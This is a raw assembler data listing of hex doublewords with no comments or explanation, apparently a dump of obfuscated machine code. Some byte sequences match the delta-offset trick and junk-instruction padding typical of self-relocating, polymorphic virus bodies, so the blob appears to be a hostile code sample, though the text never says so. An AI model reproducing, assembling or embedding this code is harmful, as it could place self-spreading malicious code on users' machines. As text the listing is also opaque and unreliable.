		dd 5CE90000h, 0B8000005h, 1E036AD5h, 8AB7DE6Dh,	0E22F4605h
		dd 5C45AC97h, 8CFA1532h, 6CDBA3ECh, 0D16E1C05h,	44FF89B6h
		dd 0AF98E42Dh, 20FC9D44h, 411C6218h, 5FC959FDh,	0C21E2D52h
		dd 396AD5A7h, 0B8A9DFDCh, 3A3BD4E4h, 33723947h,	549DC3E2h
		dd 0BFFC1D2Ah, 0B6C25ACBh, 5B473A3Bh, 0A1CC1150h, 0A071073h
		dd 5796C784h, 3B2E7A32h, 0E8C3473Ah, 44FF8DB4h,	0A6A5D623h
		dd 0F0252269h, 115E6FB5h, 6E83D06Bh, 0B0FD2E1Dh, 2D7EC9h
		dd 0BA92C37Ch, 8F7DB137h, 5E2E0662h, 0F3858AE5h, 88F02148h
		dd 39416EBFh, 8E73D90Ah, 8BBECA6Ah, 0ED044704h,	3E6FD8A4h
		dd 3A3B5D6Eh, 0EC0CF547h, 0F3DBA8A5h, 9CC151h, 473A37F8h
		dd 0C3429E1Dh, 6Bh, 3A05774Bh, 32FC64DDh, 5272E680h, 0DAA3B439h
		dd 72AEC24Ch, 7173992Bh, 10E1473Ah, 2D9374D8h, 0A724A73Eh
		dd 0E964B0ECh, 0CC51F32Ch, 1, 4704775Ah, 95B2D916h, 2BE59374h
		dd 0EBC0216Fh, 8910B16Eh, 0FB347768h, 5F6EB28Dh, 8FDC6712h
		dd 5CD810D9h, 0D2711E2Fh, 45377893h, 70249DFAh,	0E95638B2h
		dd 2D503B0Ch, 7736ECF7h, 0EEEB3807h, 45028C89h,	0F703D510h
		dd 1A473A3Bh, 57244D93h, 0F37CBBE8h, 0F19A9775h, 9BE30E52h
		dd 305C45ACh, 0E6A9C617h, 92E73459h, 413764A9h,	8592D506h
		dd 1061CF63h, 92CE7903h, 533E5197h, 4A51F3DAh, 0D102414Dh
		dd 83C74E92h, 0F2000000h, 386DDAA5h, 6DBE89F3h,	3DD10F4Eh
		dd 1D26525Fh, 77D4BAC7h, 98E02D12h, 3BADFDAFh, 498473Ah
		dd 473A3BF4h, 0EAD9219h, 5F8CB7C1h, 88A5C01Ch, 7DEB3807h
		dd 0CEB074F4h, 65291671h, 75A6A1E8h, 89A6F736h,	43F4900h
		dd 0AD7FA4C5h, 473A3B9Dh, 0C6E73D70h, 26698F4Ah, 51F3DA3Bh
		dd 599Eh, 40483900h, 0D6F10451h, 7715A9F7h, 0C6EB3807h
		dd 0A4489B2h, 4E4BC127h, 9FDE0F3Ch, 0E9563841h,	477049Eh
		dd 8CF11647h, 3A3BC810h, 418E2D47h, 8D20E3Dh, 473A3BE7h
		dd 66B790F8h, 3B7F8B61h, 1B92473Ah, 499AA9D6h, 889EDA07h
		dd 0A0E701F0h, 51F3DBADh, 108h,	8771600h, 0B7C5EA3Bh, 6C125F8Ch
		dd 17618EDFh, 42AFFF2Ch, 0B9280026h, 0AD9AE53Fh, 51387542h
		dd 5A86A5F6h, 9BFC4330h, 1848BE01h, 0F5C5F49h, 213279CAh
		dd 0F86AD6F0h, 2478C7B7h, 0BDD46F1Dh, 0EE3F0874h, 1848085Eh
		dd 0CCC90C41h, 175687C0h, 2C0860C9h, 838CE760h,	0D01D4EF9h
		dd 52F19DACh, 28C401h, 0F5411848h, 234487C6h, 7DCAB1FEh
		dd 18489FABh, 0E53B7241h, 50A8A1C0h, 7A9FA8D4h,	48738715h
		dd 17A64118h, 0F97486C9h, 104BD168h, 96CA7503h,	1688Fh
		dd 0AB589700h, 0AA690364h, 9B49182Ah, 8986C310h, 0D11844FFh
		dd 2C32AABh, 0B59F25C3h, 0F13E1B72h, 4E6DBE8Dh,	0BCA5D712h
		dd 181CD8E0h, 3F7E3D41h, 3ABBC1EEh, 24ECD0B4h, 15325C65h
		dd 8D7693D2h, 50E5AD67h, 53F09A7Ah, 7EB9CC10h, 50783419h
		dd 354118B9h, 72390645h, 0A7A5C32Eh, 0FF251E6Ah, 1671CAB2h
		dd 0BB84F401h, 1154B6Ah, 4BD1594Ch, 3BA6DCA5h, 0C5AC474Ah
		dd 5EB69Fh, 589C0000h, 0BF0861A8h, 0FE781C2Eh, 8DCC1000h
		dd 73672B1Fh, 7EAF0E11h, 3A309AAEh, 43A5ACC7h, 0B97112CEh
		dd 28AC5F6Bh, 85C47F0Ah, 88608864h, 2695C73Ah, 0CF5D82E7h
		dd 0C73A88BBh, 3263E0AEh, 316F4EF3h, 0DFDC4C20h, 2C699173h
		dd 74B7E463h, 0C7B4F128h, 6413778h, 8EB1ACC7h, 9D000000h
		dd 364AB58h, 3B3A4EDEh,	0DCDF473Ah, 8DB5180h, 3D49183Dh
		dd 6EBF88F0h, 9518114Fh, 4D9D0F74h, 0A0411834h,	51B6D70Dh
		dd 0D00C3B44h, 2256E3A9h, 828FE619h, 401C41FAh,	411834C1h
		dd 0F269DA3Fh, 68F69011h, 3BBD84D8h, 41A893F9h,	85CE8F78h
		dd 9E358078h, 145B0842h, 0ADD139F3h, 0E9C44F3Eh, 4DF68390h
		dd 0D3B9F617h, 60113B68h, 3500308h, 0B2236E6h, 20F4555h
		dd 0F685CA79h, 0BBD90449h, 0F3C42F8Eh, 6A01EA12h, 0AAF60FB4h
		dd 64AB581Ah, 12816903h, 3974491Ch, 84B5C714h, 0E50C4FF8h
		dd 2677D0BCh, 0D0FF2A96h, 5B9D5454h, 6F88B3D9h,	3546920Ah
		dd 0AB0599h, 0FE8EB3DCh, 0AEDB1045h, 5CC4095h, 3B41E3h
		dd 0FC8390E9h, 81DF1E4Fh, 55251478h, 9B66B7F6h,	8, 69D6B9F6h
		dd 73CB9B2Bh, 0E83D0677h, 5D8EB9C3h, 8EDF6810h,	0F92A1961h
		dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h,	6FBC8BF0h
		dd 0E7895769h, 4C781h, 0BB530000h, 4, 875BDF29h, 685C243Ch
		dd 6EA2h, 53241489h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 1C895C24h, 47BF5724h, 0BA53B16Dh
		dd 55973488h, 3C8BFA31h, 4C48124h, 81000000h, 4ECh, 24248900h
		dd 4240481h, 5B000000h,	24348152h, 7A856A02h, 5108438Fh
		dd 8B9h, 81D90100h, 856A0231h, 34FF597Ah, 0C4815B24h, 4
		dd 5024148Bh, 405E089h,	5000000h, 4, 5C240487h,	0FC23C2E9h
		dd 0B5E888FFh, 2BD531D0h, 0B89A1749h, 6265E89h,	0E0FFC503h
		dd 178517DCh, 75E5723Fh, 5C449006h, 7D09B63Dh, 40763FEFh
		dd 170FBB1Dh, 4B866212h, 12C599B6h, 1004158Eh, 29F9CAE9h
		dd 70A2A6F2h, 2EF07BB4h, 4DE8DE0Bh, 1C376812h, 5B0EEBC4h
		dd 60331510h, 1E8C355Ch, 29A2DA17h, 3D378997h, 5A3067F9h
		dd 43FC43C7h, 1A1F0826h, 1DFEA01h, 30A9FC60h, 2EE20950h
		dd 4202A03h, 268F593Bh,	2CB5858Dh, 81660622h, 50F3F2D7h
		dd 0FE8h, 417A300h, 0EFF3B9B2h,	64F17773h, 0E0126F03h
		dd 0E339BB66h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 90C35545h, 30A5BE9Ch,	0B113043h, 222A31BDh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 10E9C357h, 818D890Bh, 6A06220Ah
		dd 0FE8B6600h, 619A858Dh, 6A0626h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 64A829C3h, 3890Fh, 8B660000h
		dd 0F9BF0FFAh, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0DF6BC355h,	6E951h
		dd 5F1A0000h, 0ABC17978h, 0AE850h, 4470000h, 44DDE7E2h
		dd 83AF72DBh, 0BB665250h, 310F21F3h, 6E8h, 7B4A7F00h, 5BE1FD97h
		dd 895F585Ah, 81662404h, 0F7460DFh, 8Dh, 89006A00h, 22160D95h
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0CE09C351h, 915B3892h,	0BF0FA0EBh
		dd 10E9D8h, 811A0000h, 1D9BED5Eh, 4DD6FF26h, 8F1F6F26h
		dd 95FF2702h, 6223555h,	4818D89h, 8D8D0622h, 625A90Fh
		dd 0FFFE8B66h, 0E1B589D1h, 83062205h, 2200F5BDh, 850F0106h
		dd 7Eh,	1109BD8Bh, 5E90622h, 0D4000000h, 7D98DE54h, 6A026Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 506E3CC3h, 28C0F60h,	0B5000000h, 5850F7Ch, 0B8000000h
		dd 71B61504h, 24048961h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 48C35747h, 0D4FC016Ah, 8B50C6D0h, 2215D5BDh
		dd 95FF5F06h, 6220285h,	12A99531h, 45E90622h, 0E800000Eh
		dd 0
		dd 0A4ED815Dh, 6A062661h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 90CC357h, 7196B359h
		dd 1C658D89h, 6CBB0622h, 0F876A8E2h, 9345858Dh,	6A0625h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 87E264C3h, 1B69BD09h, 89500622h, 0BF0F2404h,	35FF64DEh
		dd 0
		dd 13C1B589h, 89640622h, 25h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD896BD6h
		dd 6222A05h, 8B185FFh, 0D5BF0622h, 6A511EABh, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 74A2B0DCh, 0AC6505C3h, 0E8604EBBh, 9, 67125478h, 0DB67E79Ch
		dd 0ED858B77h, 5A062227h, 89B5FF61h, 6A062206h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0E152C357h, 8959F343h, 222D758Dh, 3595FF06h,	0E906221Ch
		dd 0F8h, 0B237F1BBh, 8900B069h,	2220A995h, 6670E606h, 0E4E1F1BFh
		dd 6DB58971h, 3C062207h, 0D5830F61h, 8B000000h,	0C8B60FD9h
		dd 4DBD3350h, 5B062200h, 6BAh, 8B666000h, 0FACE81C2h, 6170F642h
		dd 9D89C18Bh, 6220785h,	8A04E8C1h, 0E2F766D9h, 0F1CFCF81h
		dd 0C82B0944h, 5E9h, 0A0263400h, 0D18BFD36h, 0CE9h, 0BEC38100h
		dd 9090D25h, 2207C195h,	0BD858B06h, 0B062226h, 221461BDh
		dd 7C08306h, 55D9D03h, 0C0830622h, 2D8D8900h, 3B06221Eh
		dd 17830FD0h, 0F5000000h, 57E9h, 66606000h, 892080BFh
		dd 222CA5B5h, 0D0806106h, 8D8B610Fh, 6220635h, 1E183FCh
		dd 36840Fh, 0BD890000h,	6220095h, 635A583h, 0E9FE0622h
		dd 0Dh,	7F9C5F1Eh, 0A97349FFh, 459793F4h, 0F18D29E9h, 89062204h
		dd 2226BD95h, 79858906h, 0E906222Ch, 0
		dd 0EAAFB58Dh, 6A0625h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 1F3816C3h, 0EE0DF1DEh, 9D33006Ah
		dd 6221265h, 307595FFh,	6A0622h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 57DF41C3h, 0BD8B2F48h
		dd 6220185h, 0DF4B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 816673C5h, 839C4CCBh
		dd 8166FCE1h, 0FC4924CFh, 0B8DF8Bh, 89000000h, 2228A595h
		dd 0BA06h, 9600000h, 22150585h,	0E9BD8906h, 6106222Fh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 12C35545h, 9097385Eh, 0C48CD458h
		dd 21BD895Ah, 0E8062214h, 14h, 23EE9716h, 0A77D5FC5h, 0A9C47159h
		dd 835EAE7h, 580D03E2h,	20719589h, 6A5F0622h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 12BDC352h, 0B70F4C16h, 880DF8h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 958B90C3h
		dd 62233F1h, 13E9h, 6F19A400h, 0FD89E6C8h, 5ECE1D73h, 99854C9Ch
		dd 7D702E98h, 2D318D8Bh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 3D8671C3h, 0E9BA2C6Fh
		dd 0Ah,	13E63261h, 0D449963Bh, 8B5006CFh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	66DBD8Bh, 0E3810622h, 6EDB277Dh
		dd 0FB8B6657h, 69BD835Fh, 6222Ch, 0A8840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 830F49C3h, 6, 434EF781h, 0B855ABh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 5F04C355h, 8AFECA22h, 519D8BFCh, 8B062216h, 221B959Dh
		dd 0B18D8D06h, 6A062250h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FFA2C357h,	50006AE1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 3FD32499h, 8B6005B7h, 222559B5h, 0BD836106h,	62230E5h
		dd 63840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 5DDEC352h, 0CA1999E4h
		dd 1DE2AA83h, 1ACD9D29h, 0BD830622h, 62230E5h, 46840F01h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 24C5C350h, 0DE9BFh, 24450000h
		dd 9E241E3Fh, 35C364B1h, 8B089377h, 221A89BDh, 0E5BD8306h
		dd 3062230h, 3CD860Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 2A2CBFC3h, 1AF6086h
		dd 81663F4Fh, 608BC7C3h, 2A319D89h, 8C660622h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 1F45635h, 220F8DB5h,	4E18006h, 6E9h,	23336200h, 0A1A7D78h
		dd 21840FC9h, 66000001h, 8B6529BBh, 2210B985h, 0C9BD8906h
		dd 3306222Ah, 2208A585h, 6820F06h, 9000000h, 2233298Dh
		dd 0DB39006h, 0CD81BB50h, 6A904C6Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 95D4C350h
		dd 0F09F7377h, 0C29D5CB6h, 1BBD9D8Bh, 6A0622h, 4E85F56h
		dd 0FF000000h, 66001F03h, 506F4DBFh, 58F0Fh, 3BB0000h
		dd 8B617EB9h, 66042444h, 8B12F6BFh, 0F576000h, 86h, 0BA665E00h
		dd 8961D886h, 50042444h, 0F88B6652h, 6650310Fh,	5A5FF88Bh
		dd 0B70F5858h, 9195FFDAh, 6A06221Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B113C351h
		dd 63666047h, 5800F5Ah,	0BB000000h, 5143EECEh, 0CAEB8589h
		dd 6A0625h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 6E8A3C3h,	220E900h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0F9C9F2C3h
		dd 1C8856F1h, 0CAE3858Bh, 0BD8B0625h, 6221981h,	1800C7h
		dd 9D890000h, 62224A1h,	28E0Fh,	0FE8B0000h, 0CAE7B58Bh
		dd 0B3600625h, 108C0FDFh, 0E9000000h, 0Bh, 48EA90F9h, 0E37C9C8h
		dd 612D576Ah, 0A65858Bh, 6A0622h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 6BD79AC3h, 4A59BEE8h
		dd 718571BFh, 6A068933h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 20DBC357h, 0AE34B883h
		dd 999D330Bh, 8B062231h, 2210B985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 45B81A70h
		dd 10C97BD4h, 95293A2Bh, 6220B11h, 1DD1BD01h, 46890622h
		dd 8B96F504h, 8A0F50DFh, 3, 96FA8B66h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 9EC35545h, 4084BBB2h, 810F604Eh
		dd 3, 0F9CD580h, 587h, 0C1816600h, 0FF616935h, 25CAE3B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 88E67E4h, 0D781B215h, 63FB3052h,	7E9h, 97F3E100h
		dd 5AA88FA5h, 259D8Bh, 0E680622h, 50E2DCC4h, 11E96052h
		dd 7E000000h, 0BEA18EFEh, 0B58580D0h, 8044A4EBh, 12C2CE9h
		dd 0F615857h, 8B665031h, 585A5FDEh, 0F1240481h,	891D423Fh
		dd 22086D95h, 0EB858D06h, 0E90625CAh, 11h, 0F3A513D8h
		dd 0DF672B9Bh, 0CFF00E3Dh, 0A6840162h, 0E85350A6h, 12h
		dd 181885E5h, 7D1CBE35h, 1ADB6C56h, 0CCCA28B1h,	5F5B1985h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0EFFDC351h, 0B1EA8B5Dh, 9589A418h
		dd 6222C6Dh, 1E9195FFh,	29560622h, 2214B9B5h, 0F615B06h
		dd 584h, 0C3816600h, 0B58908CFh, 6220A81h, 30E585C7h, 30622h
		dd 83F50000h, 25CAEBBDh, 840F0006h, 17h, 19C59D8Bh, 0BD8B0622h
		dd 6221165h, 21E9h, 18D8900h, 5006221Ch, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0FBF786C3h
		dd 218589F0h, 6A062233h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0D59BC350h,	5E9h, 5B2EC500h
		dd 0BD83647Fh, 62230E5h, 6E850F03h, 8B000004h, 22066DBDh
		dd 0EBBD8306h, 625CAh, 45B840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 998094C3h
		dd 80C1860Dh, 8B532ECFh, 2205B59Dh, 0B5FF5B06h,	625CAEBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E7C35646h
		dd 0FF6967E5h, 1DCD95FFh, 0DE90622h, 52000000h,	5BA5ABEBh
		dd 0B91EBA4Ch, 0C351CA17h, 0CADFB58Bh, 21BF0625h, 0B7512785h
		dd 106C756h
		dd 0E9000100h, 7, 1E76BBB4h, 9606A45Dh,	6A9650h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 444836C3h, 0E9BA3464h, 14h, 0F80DA368h, 961FA69h, 0DED75744h
		dd 0D37257B9h, 63E172CDh, 0CAEBB5FFh, 6A0625h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 615DDDC3h, 1248C48Ah, 95FF9EF3h, 6222541h, 5CD0BF66h
		dd 0CADFB58Bh, 6A0625h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0B76AEEC3h, 0B25E8C46h, 858B7F7Bh
		dd 6221B2Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	55C35141h, 42CFD013h, 860F264Eh, 3, 89D98B66h
		dd 0C486h, 10E800h, 296E0000h, 0F5931228h, 0D58A2871h
		dd 0A2B8076h, 0DF8BACA7h, 0F1958B5Fh, 8B062233h, 222061BDh
		dd 4C28306h, 6A205089h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 2A5EC353h, 0BC858DE0h
		dd 6A0625DEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 4738C350h, 9767F3B1h, 8689F509h
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	2BC35242h, 0C2CEB977h, 0F8B8A365h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 4C44F0C3h, 89F099ADh, 2212B1B5h, 0EBB5FF06h,	6A0625CAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0B5FC353h, 562C8B1Fh, 3F55C49Dh, 28595FFh
		dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 81DA85C3h, 5089F61Eh, 4810Fh, 0BF660000h
		dd 3489347Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0A62A4CEBh, 0EE908BCh, 0FB000000h
		dd 9D2C6832h, 19ADCCD2h, 0B21E706h, 0B9858969h,	0FF062218h
		dd 25CAEBB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0AA89CD48h, 7AF4CAA0h, 95FF719Fh
		dd 6221AF5h, 0DA11EBBBh, 31BD836Dh, 62213h, 6C840Fh, 60960000h
		dd 0DE9h, 0D099CD00h, 0CDCDC4D5h, 0EB2C2E3Ch, 8F0FEDFDh
		dd 12h,	0CE8h, 96799700h, 5DC0E7AFh, 1B826DA6h,	50615F8Ah
		dd 37ADBF66h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 95177A3Ch, 30FCFD48h, 0BE8F350h
		dd 0BC000000h, 4BCB5538h, 489C3A60h, 0B70F8B7Ah, 0B5FF5BDFh
		dd 625CAEBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	50C35646h, 0A5BD0392h, 0FF062233h, 221D4195h, 0D9BF0F06h
		dd 0CAEBB5FFh, 6A0625h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0BBA603C3h, 28C38168h, 0FF4635D8h
		dd 222FC595h, 0BBB5606h, 5B27124Dh, 2A9BD83h, 0F020622h
		dd 4A84h, 858BFC00h, 62200E1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0CDC35242h,	0FBBB6707h, 6A0000C6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 7E7C353h,	0C70675A1h, 22197D85h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A98E76ABh, 895F4DD9h, 2213499Dh, 0F2ADE906h, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 560A58C3h, 860F11D3h, 6, 1D4DBD8Bh, 9D8B0622h, 622066Dh
		dd 0E960C18Bh, 5, 54CB00FFh, 9D858947h,	6106221Eh, 2CB5858Dh
		dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0E30BAC3h, 45B7FFCDh, 800FB949h, 5, 7BEB8050h
		dd 0D88B505Fh, 6A240489h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 51F274D3h
		dd 0F241A19Bh, 3CD9D0Bh, 6A0622h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 3CC35646h, 0DA8B6653h, 0C5E7805Bh
		dd 727A858Dh, 0F9600626h, 0DE9h, 74B84300h, 300698C1h
		dd 0CA8C92FAh, 8361A338h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0B964B7C3h, 0DA8AE4ADh
		dd 12E8h, 9C7E7A00h, 0D9E5B96Ch, 323B2F11h, 0FB8687A8h
		dd 0F790B91h, 683h, 5BD8B00h, 5F06222Ch, 52505090h, 0EE8h
		dd 8068E600h, 49FE932Dh, 0A5F4AB8Ch, 8B77474Eh,	310F5FD9h
		dd 8E9h, 7A183700h, 2E0315FBh, 90585AA9h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 9BC35646h, 0BE861h
		dd 4A4F0000h, 0FA0C142Bh, 8A0E9736h, 0FE9DBh, 37A30000h
		dd 86068638h, 12492C34h, 0BD09980Ah, 8A565BDAh,	9D8B5FFAh
		dd 6221B55h, 0BD01006Ah, 6220E85h, 84BB006Ah, 8B69DB8Ch
		dd 22003D9Dh, 5595FF06h, 0B062235h, 2226099Dh, 0F8D8D06h
		dd 600625A9h, 0ADC88166h, 0CE9B7h, 41830000h, 8246A57Ch
		dd 0B29190C6h, 0FF6184E4h, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 4F050D5Eh
		dd 8CE125F3h, 2850Fh, 0B5B30000h, 99D0350h, 5B062214h
		dd 0F5BD83h, 0F010622h,	0AD85h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 130D5459h
		dd 0DDC13388h, 8C0F578Eh, 6, 220D9D8Bh,	6A5B0622h, 0AE85602h
		dd 39000000h, 0C76CE2D3h, 3BDCE2A3h, 5FDE8BE9h,	1850F5Bh
		dd 0F8000000h, 52505090h, 0AE95250h, 58000000h,	204E7B3h
		dd 70CBFC3Eh, 60310F10h, 0F585A61h, 5820F31h, 0BB000000h
		dd 552A401Ch, 0F90585Ah, 689h, 8AF38100h, 0FF4CCD08h, 22028595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 61247730h, 1CE9FE8Bh, 0E800000Dh, 0
		dd 84ED815Dh, 0BF062672h, 700AEAA2h, 0F18D0960h, 6006222Ah
		dd 61613CB4h, 9345858Dh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0A017DFC3h, 840AF6B1h
		dd 50AD2131h, 5FD88B66h, 0EE9h,	679FC000h, 90E63183h, 36197D71h
		dd 5022C6F4h, 89FA8B66h, 0B5312404h, 6222839h, 35FF64h
		dd 0BB000000h, 57975981h, 258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 795C355h, 0FFA4707Fh, 2208B185h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0F4B9FD9Fh
		dd 0F7A56E3h, 1987h, 138F0F00h,	0E9000000h, 0Eh, 3AC6D40h
		dd 0DD70CEF7h, 17DC1EE7h, 0FF6AA817h, 356D9D8Bh, 0B5FF0622h
		dd 6221D9Dh, 28319D89h,	9D890622h, 6222C09h, 1C3595FFh
		dd 0BE90622h, 81000001h, 345EF4EFh, 5820F66h, 0BB000000h
		dd 4A6B75DBh, 0B58900B0h, 62228F9h, 0BD8B70E6h,	6220F8Dh
		dd 853171E4h, 6220E4Dh,	0A271F381h, 613C4AD5h, 0D4830Fh
		dd 9E90000h, 0E1000000h, 0D2C6A41Dh, 0DDCB47h, 8BC8B60Fh
		dd 222FE59Dh, 6BA06h, 0C18B0000h, 880Fh, 0E8C10000h, 5DDB8104h
		dd 663518C9h, 0A65ACF81h, 2BE2F766h, 4C4CBFC8h,	0D18B4CC7h
		dd 158DBD8Bh, 2E90622h,	8B000000h, 1858BFEh, 0F062221h
		dd 8960D8BFh, 220249B5h, 800F06h, 61000000h, 6607C083h
		dd 0C083FB8Bh, 0C59D8B00h, 3B06221Ah, 26830FD0h, 81000000h
		dd 7974D1C7h, 50E917h, 0BD230000h, 62219EDh, 9E8h, 40177F00h
		dd 4F748EDBh, 0BD31F2E8h, 6222D39h, 558D8B5Fh, 89062200h
		dd 221D61B5h, 1E18306h,	20840Fh, 0FAB70000h, 55A583h, 8BFE0622h
		dd 220AD99Dh, 1958906h,	89062221h, 2203218Dh, 0E906h, 0B58D0000h
		dd 625FAFCh, 103D9D03h,	66600622h, 0BD8BC88Bh, 6221F49h
		dd 0E9006A61h, 0Eh, 969B90F0h, 55E7EAE9h, 39AD6CF0h, 95FF610Bh
		dd 6223075h, 709FDF81h,	0D2B9632Fh, 6A000007h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8BABC353h, 0FCE183FCh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0F7C35141h, 0F48C641Ch, 0FC6B08D4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 42C35242h, 2BD88B66h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
